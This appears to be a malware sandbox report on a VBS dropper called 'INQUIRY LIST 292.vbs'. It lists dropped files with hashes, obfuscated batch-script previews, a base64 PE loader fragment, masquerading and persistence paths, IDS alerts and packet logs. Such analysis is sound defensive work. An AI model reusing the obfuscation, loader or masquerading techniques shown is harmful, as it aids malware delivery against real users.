Preview:	@echo off..set "kocp=sket "..@% . .......%e%..... ..%c% .%h%......%o%..r.o% %......%o%....o.... %f%r%f%.. .%..s%.%e%..%t%. ..% %.%"%..%X%.. %I%.......%n%.....%i%....... %=%.......%s%...%e%. .o.%t%.....% %.r..r....%"%.%..%XIni%"%... %s% ......%K%o.%x%..%H%......%=%.........o%=%. ...%"%...o..%..%XIni%"%..........%F%.r.. ... %J%.%I%.o%V%......%I%.%x%. %F%........%p%..........%s%....... .%T%r..%%sKxH%h%.o....o..%2%....r....r%s%.....%h%...o..%"% ... %..%XIni%"%. .%B%.........%m%.....%T%...o.%j%........%M%.%S%......

C:\Users\Public\Libraries\NEO.cmd

Download File

Process:	C:\Users\user\AppData\Local\Temp\x.exe
File Type:	DOS batch file, Unicode text, UTF-8 text, with very long lines (372), with CRLF line terminators
Category:	dropped
Size (bytes):	28538
Entropy (8bit):	4.650636495384082
Encrypted:	false
SSDEEP:	384:Y0iUTHG+EnI6DRfX67uezyCqIUEfDTfF3K0QNqTTwNv7lkqj3DRvCpoVsodnqgJW:YwWbDRfipu7IUkfYQ0Xkqjgww
MD5:	E24FA8FB365A89779B026772B9342AF3
SHA1:	B90DE3C9F3093CA8BADFAF6C98218B744087E8F9
SHA-256:	10D7B4EA056FC1037109FE6E6694849D145B0745FAA9AE02957104A2834A14A0
SHA-512:	A32F7A29C4C8CC831A5057B8DB31F79E7DEDB9172AC9705DA6A8DA65384ED23827C3CCCDB833562CDAB63ADDD679341707A2B46BBC8C802845CBBBBB01771D10
Malicious:	false
Preview:	@echo off..@%.. ..%e%r.%c%...r.%h%..%o%r........% %....%o%. ..%f%..........%f%....%..s%. ......%e%.... ...%t%.% %.. o..o.%"%r.r.......%x%.......%u%..o..... %u%.%y%.......%=%o..r..%s%..%e% o%t%r.......% %..o%"%..r.....%..%xuuy%"%.........%J%...%o%..r ....%Z%...%u%.......%=%.%=%..%"%..........%..%xuuy%"%....%s%.......%F%..r..o..o%o%.......%F%.... .....%G%..%l%.r... ....%F%.%k%.%a%. ...%g%ro.. %%JoZu%h%.%2% ...r.%s%..........%h% %"%... .....%..%xuuy%"%......%H%..%O%.....r..%D%.. .%B%..... ...%e%.....

C:\Users\Public\Libraries\Uhzauuil

Download File

Process:	C:\Users\user\AppData\Local\Temp\x.exe
File Type:	data
Category:	dropped
Size (bytes):	573566
Entropy (8bit):	7.980117621307447
Encrypted:	false
SSDEEP:	12288:NIAbBGI0yoMha6YfLzqT2FqJv/bgjnNdqCq+eJOvMy9U/Et:xb7ZoLzqEqvTgjnNdqCq+10yG/Et
MD5:	25DB6EECAE3F2A0E24C3C8ECBFEF5D73
SHA1:	FF5E6B0317545B11F1AB51D225C5D8DCE9890C23
SHA-256:	D9D561DF91D8D2A0B72A8CD5DF34561F127A0B4567372664D656DD3EA87E6FD9
SHA-512:	074D6B37C377FD1EAE96D0C2835B638B6CFAAF8F86C2016560090F328CBAC13CE9DE32B9CE86DC0FF1D6C0A0730652A66956071B4B7C9E86F96AE80AF13A320C
Malicious:	true
Preview:	.2i..,t.....qE....Dr..B..-n..J...M..\...T...\..L...J..e..`..j...Q.J....x...c.Nv.n..V.Po..p...\|3.;.%.{....G.....@i.+j.^..a6.e...?`..\.R..\|..T0?..4...a..V7Gy...=...1..f....ml.6b...p...a.P....q....../....nO.F..gnc..l?d-&&}..s...A..?{......M.....(..\.l..B..Z..Jv..Y.<...?....0..:.....L..FT.V..{.SG$$..7.{....E.F.g.jq.$&o1cDi..l..d.:.c.......N...:.v....../.....~3.B.\a.](4..:j.."..VL...m..e.$&..[.T..Bj.5J.L.i.F..`:.aw.E.4....B..._.>..e.6...rN....%...%..D.A.......W$&.1.d.h...F.27...}.9... aH.....<.....n.C..J.v.x5...[>.$&...x:.JB..0s.....Z'.=...(.&$.L.:......)$$]....!.e.).M.p..p.d....m.:.;.Op...&$hL.70...l.....G]E..CTL.a..xH..a.K..{.a.'..O....F...5]v&&.....^aB8......`..;.M..og....Vq..E..=U".K...c.]._..[..D.j?+,..b...f..V?=.8..y0..DKc.~`UV......3>Xp...../.Z......).^.T}....g.;.#.%.......-.&&D..p..n...@..Uvj.z-.64$&.E{...E..0..bz..S..a...k.mF..L.T...{).M/...y.U4..r....8..$&...m..)'`).%.k...g..P......hU."..$$...*p8....$$..&$..\=$&.c.....:L%..G..

C:\Users\Public\Libraries\Uhzauuil.PIF

Download File

Process:	C:\Users\user\AppData\Local\Temp\x.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	854016
Entropy (8bit):	6.911818112914193
Encrypted:	false
SSDEEP:	12288:aAm99652dKVsiJ9Pu8BHTN3KxxcycdnawpVdAorkBK1zmQ7HDEKDmC/E:7oqcKmiJ88ZZsTzOlIWznHY
MD5:	4692AEE744A1B1FAB794FF334A77A462
SHA1:	E5F8E1B159208FF1898E08F5C6A81CD0F0953981
SHA-256:	00140069B6C9F47F98C8E82B448D5F6ABDF33354B9BC6BECF4B61DF72F5ED184
SHA-512:	0755FF15408DD053187B88ADC965FF88E71B0B22555000C488E15A415499E9598B9A361F9EF49BE066452970CECFC6ECBA302CFC956FA9419DDEFE1E2978B5D4
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 42%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................h..........Tw............@..............................................@..............................t$...........................0...^........................... .......................................................text...._.......`.................. ..`.itext.......p.......d.............. ..`.data................l..............@....bss.....6...............................idata..t$.......&..................@....tls....4................................rdata....... ......................@..@.reloc...^...0...`..................@..B.rsrc...............................@..@....................................@..@................................................................................................

C:\Users\Public\Libraries\YKA

Download File

Process:	C:\Users\user\AppData\Local\Temp\x.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4
Entropy (8bit):	2.0
Encrypted:	false
SSDEEP:	3:Eyn:Ey
MD5:	DC91AAD4ACB490E3A48C0FDC3B452AB0
SHA1:	CE5A59131E32A7A6C1A0A02E878550EFAEB10DBC
SHA-256:	08680581317723DB336F15D21AB3AEBD6AF9657FE7C9A91681A775FE035283B9
SHA-512:	641993A30CEFDCDA7FA2BB7BE585D432CC053D889A4A7A47AF3D5C0D26156CE372078C19877C15310E7D286C5A6AA19A0D4DCD2866B1953A498FE69D489A5725
Malicious:	false
Preview:	54..

C:\Users\Public\Libraries\liuuazhU.pif

Download File

Process:	C:\Users\user\AppData\Local\Temp\x.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	175800
Entropy (8bit):	6.631791793070417
Encrypted:	false
SSDEEP:	3072:qjyOm0e6/bIhbuwxlEb1MpG+xUEyAn0fYuDGOpPXFZ7on+gUxloDMq:qjyl6ebX45OG+xUEWfYUGOpPXFZ7on+G
MD5:	22331ABCC9472CC9DC6F37FAF333AA2C
SHA1:	2A001C30BA79A19CEAF6A09C3567C70311760AA4
SHA-256:	BDFA725EC2A2C8EA5861D9B4C2F608E631A183FCA7916C1E07A28B656CC8EC0C
SHA-512:	C7F5BAAD732424B975A426867D3D8B5424AA830AA172ED0FF0EF630070BF2B4213750E123A36D8C5A741E22D3999CA1D7E77C62D4B77D6295B20A38114B7843C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Joe Sandbox View:	Filename: PI ITS15235 (2).doc, Detection: malicious, Browse Filename: PI ITS15235.doc, Detection: malicious, Browse Filename: PO#3_RKG367.bat, Detection: malicious, Browse Filename: ENQ-0092025.doc, Detection: malicious, Browse Filename: yxU3AgeVTi.exe, Detection: malicious, Browse Filename: ITT # KRPBV2663 .doc, Detection: malicious, Browse Filename: PI ITS15235.doc, Detection: malicious, Browse Filename: PO#5_Tower_049.bat, Detection: malicious, Browse Filename: HSBC_PAY.SCR.exe, Detection: malicious, Browse Filename: PO_B2W984.com, Detection: malicious, Browse
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................................................................................................................................................................................................................................................................................PE..L....>.{..................................... ....@.......................... .......c........... ..............................................................H....................................................................................text............................... ..`.data........ ...P..................@....tls.................`..............@....rdata...............b..............@..P.idata... ...........d..............@..@.edata...............\|..8...,...@...@..@

C:\Users\Public\Uhzauuil.url

Download File

Process:	C:\Users\user\AppData\Local\Temp\x.exe
File Type:	MS Windows 95 Internet shortcut text (URL=<file:"C:\\Users\\Public\\Libraries\\Uhzauuil.PIF">), ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	104
Entropy (8bit):	5.056115382653646
Encrypted:	false
SSDEEP:	3:HRAbABGQYmTWAX+rSF55i0XMujJajSsbxjl0vn:HRYFVmTWDyzXjhExpWn
MD5:	0D0F90D0A2305ACF72A1DFB57729A1CB
SHA1:	E472CF44CDC1A662B5FF20072612C241F8D36453
SHA-256:	989E6E47757F8F805E76B9ED25D7FA86276811FCC5A39704731FA0B2C6FF2DB8
SHA-512:	AD28EB4F86B02DF6171CB8C4F1EEB5BAE87A4979EAC08781835C766C21A044BF8877B8D48733338A7F5A901CA93F833E5CD943A9FBEF534D146C9C17CDC7E0E6
Malicious:	true
Preview:	[InternetShortcut]..URL=file:"C:\\Users\\Public\\Libraries\\Uhzauuil.PIF"..IconIndex=975970..HotKey=77..

C:\Users\Public\UhzauuilF.cmd

Download File

Process:	C:\Users\user\AppData\Local\Temp\x.exe
File Type:	DOS batch file, Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	11278
Entropy (8bit):	4.653311201735178
Encrypted:	false
SSDEEP:	192:aMDConKxnlt4iVNt4BIvf6hJyMCdvWr3YGjZq3W4ERrr83hGgPKnrJTFlmwu26:BDWxl+mymfbMAM83WMgguTFlj96
MD5:	F82AEB3B12F33250E404DF6EC873DD1D
SHA1:	BCF538F64457E8D19DA89229479CAFA9C4CCE12F
SHA-256:	23B7417B47C7EFB96FB7CE395E325DC831AB2EE03EADDA59058D31BDBE9C1EA6
SHA-512:	6F9D6DAEED78F45F0F83310B95F47CC0A96D1DB1D7F6C2E2485D7A8ECB04FEE9865EEC3599FEE2D67F3332F68A70059F1A6A40050B93EF44D55632C24D108977
Malicious:	false
Preview:	@echo off..@%..%e%....%c% .%h%.. ......%o%.o.....o..% %.........%o%....r....%f%.o........%f%.....%..s%..... ...%e% r.r.. ...%t%..........% %.... %"%.......%I%..........%F%..%X%o....r..%Q%...o.%=%. ...%s%o..%e%... %t%. o. .% %..%"%..%..%IFXQ%"%..%w%..%S%..... .%c%.....%t%..r.......%=%.%=%....%"%.....%..%IFXQ%"%or.....%d%.........%s%...%b%o.r%m% .....r...%U% .. ..o...%U%.o%u%.... .%r%.........%v%...r..%s%...... ...%%wSct%C%.......%l%..r.%o%....%a%..r....r%"%.....o....%..%IFXQ%"%... .o...%y% %h%r.%R%....

C:\Users\user\AppData\Local\Temp\x.exe

Download File

Process:	C:\Windows\System32\wscript.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	854016
Entropy (8bit):	6.911818112914193
Encrypted:	false
SSDEEP:	12288:aAm99652dKVsiJ9Pu8BHTN3KxxcycdnawpVdAorkBK1zmQ7HDEKDmC/E:7oqcKmiJ88ZZsTzOlIWznHY
MD5:	4692AEE744A1B1FAB794FF334A77A462
SHA1:	E5F8E1B159208FF1898E08F5C6A81CD0F0953981
SHA-256:	00140069B6C9F47F98C8E82B448D5F6ABDF33354B9BC6BECF4B61DF72F5ED184
SHA-512:	0755FF15408DD053187B88ADC965FF88E71B0B22555000C488E15A415499E9598B9A361F9EF49BE066452970CECFC6ECBA302CFC956FA9419DDEFE1E2978B5D4
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 42%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................h..........Tw............@..............................................@..............................t$...........................0...^........................... .......................................................text...._.......`.................. ..`.itext.......p.......d.............. ..`.data................l..............@....bss.....6...............................idata..t$.......&..................@....tls....4................................rdata....... ......................@..@.reloc...^...0...`..................@..B.rsrc...............................@..@....................................@..@................................................................................................

C:\Windows \SysWOW64\NETUTILS.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\x.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	119033
Entropy (8bit):	5.148072354937474
Encrypted:	false
SSDEEP:	1536:BDzIi47phID3zvyDXthSmsVBc2w5jEjISsnEICl7MbiRwRkSYJQ:BDz47pq/6hShc2ljISsnEGRkSYJQ
MD5:	A88976A70AED45F610A032E438A82A95
SHA1:	EC20B0F0D6CCC848C8FFA857AB4E771672DFA4F2
SHA-256:	F3D5A6EBCD8CAB3CC9A98488B23C2DE740C6EF04E33ED317A3E2A047D53D169B
SHA-512:	EC77BB81B9E6DE4AF8A17EB26281D10FC9A05947D588F2EE3680ADA67ED28118FBC9A2D0E63BF0ECC2A4C318555A4F27E72ECF1A530A506E9B4FBF5EFDB4F676
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 61%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d......g.d........& .....(...$................<a.............................0.......s........ .........................................@....................`..p...............\........................... ...(.................................................... ....'.......(.................. .P`. ...P....@......................@.p.. .......P.......4..............@.P@. ..p....`.......:..............@.0@. ..0....p.......>..............@.0@. ..................................p.. ..@............B..............@.0@. ...............D..............@.0.. ....X............L..............@.@.. ....h............N..............@.`.. ..\............P..............@.0B/4...................R..............@.PB/19..................V..............@..B/31.....%...........................@..B/45.....q...........................@..B/57.....

C:\Windows \SysWOW64\svchost.pif

Download File

Process:	C:\Users\user\AppData\Local\Temp\x.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	96448
Entropy (8bit):	5.1636650991276305
Encrypted:	false
SSDEEP:	1536:dhJfbGY/Bn623Kvv0IzGJyyu2xXibswbTYTjULf1YrfspZPgpzF:dhJfbG6B6yKvv0uWyyu2xXibswbQjUjs
MD5:	869640D0A3F838694AB4DFEA9E2F544D
SHA1:	BDC42B280446BA53624FF23F314AADB861566832
SHA-256:	0DB4D3FFDB96D13CF3B427AF8BE66D985728C55AE254E4B67D287797E4C0B323
SHA-512:	6E775CFB350415434B18427D5FF79B930ED3B0B3FC3466BC195A796C95661D4696F2D662DD0E020C3A6C3419C2734468B1D7546712ECEC868D2BBFD2BC2468A7
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........R#.<p.<p.<p..p.<p..?q.<p..9q.<p..=q.<p.=p..<p..4q.<p..8q.<p...p.<p..>q.<pRich.<p........................PE..d....C~..........."............................@.............................`....................... ...............................................@....... ..<....P...(...P..`.......T...........................0...@...........p...........`....................text.............................. ..`.imrsiv..................................rdata...[.......`..................@..@.data...............................@....pdata..<.... ......................@..@.didat..0....0....... ..............@....rsrc........@.......0..............@..@.reloc..`....P.......@..............@..B........................................................................................................................................................................

Static File Info

General

File type:	ASCII text, with very long lines (65413), with CRLF line terminators
Entropy (8bit):	5.782360851300279
TrID:
File name:	INQUIRY LIST 292.vbs
File size:	1'139'043 bytes
MD5:	2f5edacbfdae7a51267deeb8e937bfec
SHA1:	d0ce895b7a4e55fe7f12121878a5818850f1dc00
SHA256:	07898f8cb7e07bd6b86fd09cfff5898eb246a44524b3dda7a39e3de32667490b
SHA512:	fb8c8d268dd5f4b0c619213a0c36c3132574d04c8780eb4c5623af08c7aea7d12fdc1dcab4903908b099b2874a34f8d9804af746978a93af488a95a101d0d392
SSDEEP:	24576:uR3Gv4DQo4o3Hj6R3EpqvdG5Np4kJL7a5ZKCmjLpvi:HBo4o3kE4w2kw5w4
TLSH:	E2354878C276AD8603E856F80989D6C1EDB03BFFB0D1D7505D5C91A211BDD37AA288EC
File Content Preview:	Option Explicit..dim D,E,b,p..Set D=CreateObject("Microsoft.XMLDOM")..Set E=D.createElement("t")..E.DataType="bin.base64"..E.Text="TVpQAAIAAAAEAA8A//8AALgAAAAAAAAAQAAaAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAALoQAA4ftAnNIbgBTM0hkJBUaGlzIHByb2dyYW0g

File Icon


Icon Hash:	68d69b8f86ab9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-16T08:29:14.702006+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49731	50.116.86.44	443	TCP
2025-01-16T08:29:21.836380+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49732	193.122.6.168	80	TCP
2025-01-16T08:29:34.882496+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49740	193.122.6.168	80	TCP
2025-01-16T08:29:41.869304+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49742	193.122.6.168	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 16, 2025 08:29:14.111828089 CET	49730	443	192.168.2.4	50.116.86.44
Jan 16, 2025 08:29:14.111877918 CET	443	49730	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:14.111985922 CET	49730	443	192.168.2.4	50.116.86.44
Jan 16, 2025 08:29:14.112142086 CET	49730	443	192.168.2.4	50.116.86.44
Jan 16, 2025 08:29:14.112188101 CET	443	49730	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:14.112242937 CET	49730	443	192.168.2.4	50.116.86.44
Jan 16, 2025 08:29:14.169728041 CET	49731	443	192.168.2.4	50.116.86.44
Jan 16, 2025 08:29:14.169785023 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:14.169858932 CET	49731	443	192.168.2.4	50.116.86.44
Jan 16, 2025 08:29:14.194222927 CET	49731	443	192.168.2.4	50.116.86.44
Jan 16, 2025 08:29:14.194257975 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:14.701926947 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:14.702006102 CET	49731	443	192.168.2.4	50.116.86.44
Jan 16, 2025 08:29:14.706237078 CET	49731	443	192.168.2.4	50.116.86.44
Jan 16, 2025 08:29:14.706257105 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:14.706608057 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:14.754345894 CET	49731	443	192.168.2.4	50.116.86.44
Jan 16, 2025 08:29:14.876135111 CET	49731	443	192.168.2.4	50.116.86.44
Jan 16, 2025 08:29:14.923340082 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:14.993937016 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:14.993956089 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:14.993963003 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:14.994112015 CET	49731	443	192.168.2.4	50.116.86.44
Jan 16, 2025 08:29:14.994146109 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.012958050 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.013102055 CET	49731	443	192.168.2.4	50.116.86.44
Jan 16, 2025 08:29:15.013120890 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.058350086 CET	49731	443	192.168.2.4	50.116.86.44
Jan 16, 2025 08:29:15.080363035 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.080374002 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.080499887 CET	49731	443	192.168.2.4	50.116.86.44
Jan 16, 2025 08:29:15.080522060 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.080643892 CET	49731	443	192.168.2.4	50.116.86.44
Jan 16, 2025 08:29:15.081338882 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.081346989 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.081397057 CET	49731	443	192.168.2.4	50.116.86.44
Jan 16, 2025 08:29:15.082144976 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.082154989 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.082304001 CET	49731	443	192.168.2.4	50.116.86.44
Jan 16, 2025 08:29:15.099576950 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.099589109 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.099678993 CET	49731	443	192.168.2.4	50.116.86.44
Jan 16, 2025 08:29:15.166759014 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.166768074 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.166907072 CET	49731	443	192.168.2.4	50.116.86.44
Jan 16, 2025 08:29:15.167515039 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.167524099 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.167618990 CET	49731	443	192.168.2.4	50.116.86.44
Jan 16, 2025 08:29:15.168021917 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.168097019 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.168107986 CET	49731	443	192.168.2.4	50.116.86.44
Jan 16, 2025 08:29:15.168118000 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.168184996 CET	49731	443	192.168.2.4	50.116.86.44
Jan 16, 2025 08:29:15.168266058 CET	49731	443	192.168.2.4	50.116.86.44
Jan 16, 2025 08:29:15.169027090 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.169184923 CET	49731	443	192.168.2.4	50.116.86.44
Jan 16, 2025 08:29:15.170008898 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.170126915 CET	49731	443	192.168.2.4	50.116.86.44
Jan 16, 2025 08:29:15.186346054 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.186397076 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.186495066 CET	49731	443	192.168.2.4	50.116.86.44
Jan 16, 2025 08:29:15.186506033 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.186639071 CET	49731	443	192.168.2.4	50.116.86.44
Jan 16, 2025 08:29:15.253555059 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.253689051 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.253772020 CET	49731	443	192.168.2.4	50.116.86.44
Jan 16, 2025 08:29:15.253783941 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.253900051 CET	49731	443	192.168.2.4	50.116.86.44
Jan 16, 2025 08:29:15.254379988 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.254451990 CET	49731	443	192.168.2.4	50.116.86.44
Jan 16, 2025 08:29:15.254874945 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.254997969 CET	49731	443	192.168.2.4	50.116.86.44
Jan 16, 2025 08:29:15.255018950 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.255166054 CET	49731	443	192.168.2.4	50.116.86.44
Jan 16, 2025 08:29:15.256023884 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.256088972 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.256094933 CET	49731	443	192.168.2.4	50.116.86.44
Jan 16, 2025 08:29:15.256102085 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.256189108 CET	49731	443	192.168.2.4	50.116.86.44
Jan 16, 2025 08:29:15.256746054 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.256818056 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.256830931 CET	49731	443	192.168.2.4	50.116.86.44
Jan 16, 2025 08:29:15.256835938 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.256978035 CET	49731	443	192.168.2.4	50.116.86.44
Jan 16, 2025 08:29:15.257718086 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.257833958 CET	49731	443	192.168.2.4	50.116.86.44
Jan 16, 2025 08:29:15.257838964 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.257950068 CET	49731	443	192.168.2.4	50.116.86.44
Jan 16, 2025 08:29:15.258606911 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.258712053 CET	49731	443	192.168.2.4	50.116.86.44
Jan 16, 2025 08:29:15.274490118 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.274588108 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.274602890 CET	49731	443	192.168.2.4	50.116.86.44
Jan 16, 2025 08:29:15.274626017 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.274744034 CET	49731	443	192.168.2.4	50.116.86.44
Jan 16, 2025 08:29:15.340490103 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.340569973 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.340591908 CET	49731	443	192.168.2.4	50.116.86.44
Jan 16, 2025 08:29:15.340626001 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.340764999 CET	49731	443	192.168.2.4	50.116.86.44
Jan 16, 2025 08:29:15.340878010 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.340974092 CET	49731	443	192.168.2.4	50.116.86.44
Jan 16, 2025 08:29:15.341258049 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.341321945 CET	49731	443	192.168.2.4	50.116.86.44
Jan 16, 2025 08:29:15.341486931 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.341573000 CET	49731	443	192.168.2.4	50.116.86.44
Jan 16, 2025 08:29:15.341639042 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.341696978 CET	49731	443	192.168.2.4	50.116.86.44
Jan 16, 2025 08:29:15.341707945 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.341803074 CET	49731	443	192.168.2.4	50.116.86.44
Jan 16, 2025 08:29:15.342308998 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.342430115 CET	49731	443	192.168.2.4	50.116.86.44
Jan 16, 2025 08:29:15.342520952 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.342592955 CET	49731	443	192.168.2.4	50.116.86.44
Jan 16, 2025 08:29:15.342605114 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.342699051 CET	49731	443	192.168.2.4	50.116.86.44
Jan 16, 2025 08:29:15.343238115 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.343328953 CET	49731	443	192.168.2.4	50.116.86.44
Jan 16, 2025 08:29:15.343339920 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.343436956 CET	49731	443	192.168.2.4	50.116.86.44
Jan 16, 2025 08:29:15.359872103 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.359966040 CET	49731	443	192.168.2.4	50.116.86.44
Jan 16, 2025 08:29:15.360137939 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.360297918 CET	49731	443	192.168.2.4	50.116.86.44
Jan 16, 2025 08:29:15.360310078 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.360383034 CET	49731	443	192.168.2.4	50.116.86.44
Jan 16, 2025 08:29:15.406102896 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.406225920 CET	49731	443	192.168.2.4	50.116.86.44
Jan 16, 2025 08:29:15.427061081 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.427165031 CET	49731	443	192.168.2.4	50.116.86.44
Jan 16, 2025 08:29:15.427196980 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.427305937 CET	49731	443	192.168.2.4	50.116.86.44
Jan 16, 2025 08:29:15.427393913 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.427484035 CET	49731	443	192.168.2.4	50.116.86.44
Jan 16, 2025 08:29:15.427541018 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.427623034 CET	49731	443	192.168.2.4	50.116.86.44
Jan 16, 2025 08:29:15.427788019 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.427892923 CET	49731	443	192.168.2.4	50.116.86.44
Jan 16, 2025 08:29:15.428479910 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.428544044 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.428595066 CET	49731	443	192.168.2.4	50.116.86.44
Jan 16, 2025 08:29:15.428601980 CET	443	49731	50.116.86.44	192.168.2.4
Jan 16, 2025 08:29:15.428760052 CET	49731	443	192.168.2.4	50.116.86.44
